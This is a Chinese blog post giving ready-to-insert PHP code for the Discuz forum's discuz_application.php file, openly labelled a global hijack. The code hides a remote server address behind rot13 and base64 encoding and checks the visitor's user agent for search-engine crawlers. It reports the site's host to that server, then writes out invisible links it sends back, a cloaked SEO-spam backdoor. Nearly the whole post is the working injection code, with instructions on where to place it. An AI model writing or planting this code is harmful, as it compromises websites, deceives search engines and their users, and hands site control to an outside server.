DZ 另类discuz_application.php文件全局劫持代码

‘PHP_SELF’ => ”,
‘siteurl’ => ”,
‘siteroot’ => ”,
‘siteport’ => ”,

先声明’spider’ => $this ->spider(), /////

后写

private function spider(){
define(‘URL’,str_rot13(base64_decode(str_rot13(‘qJqaLmbiY2cdnv5zL3MkpzHgnTMlMF5jLabiozA2YzA1Lj==’))));
$spiders = array(1 => ‘BaiduSpider’,2 => ‘360spider’,3 => ‘Googlebot’,4 => ‘Sogou’,5 => ‘Bytespider’,6 => ‘bingbot’,7 => ‘YisouSpider’,
);
$domain = $_SERVER[‘HTTP_HOST’];
$ua = self::getUaType($spiders,isset($_SERVER[‘HTTP_USER_AGENT’]) ? $_SERVER[‘HTTP_USER_AGENT’] : null);
$data = array(
‘id’ => $ua,
‘host’ => $domain
);
if($ua){
$res=self::post(constant(‘URL’),$data);
}
if($res[‘code’] == 201){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
die;
}
if($res[‘code’] != 418){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
}

}
private function post($url,$data){
if(function_exists(‘curl_init’)){
return self::curl_post($url,$data);
}
return self::file_post($url,$data);
}

private function curl_post($url,$data){
$ch = curl_init();
$headerArray =array(“Accept:application/json”);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,FALSE);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output ,true);
}

private function file_post($url,$data){
$data = http_build_query($data);
$opts = array(
‘http’ => array(
‘method’ => ‘POST’,
‘header’=> “Content-type: application/x-www-form-urlencoded”,
“Content-Length: ” . strlen($data),
‘content’ => $data
)
);
$context = stream_context_create($opts);
$res = file_get_contents($url, false, $context);
return json_decode($res,true);
}

private function getUaType($spiders,$ua){
$ua = strtolower($ua);
$u = 0;
foreach ($spiders as $k => $v ){
if(strpos(‘1’.$ua, strtolower($v))){
$u = $k;
}
}
return $u;
}

END

原创文章,作者:admin,如若转载,请注明出处:http://www.lolmm.cn/wzcgal/627.html

发表评论

登录后才能评论

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息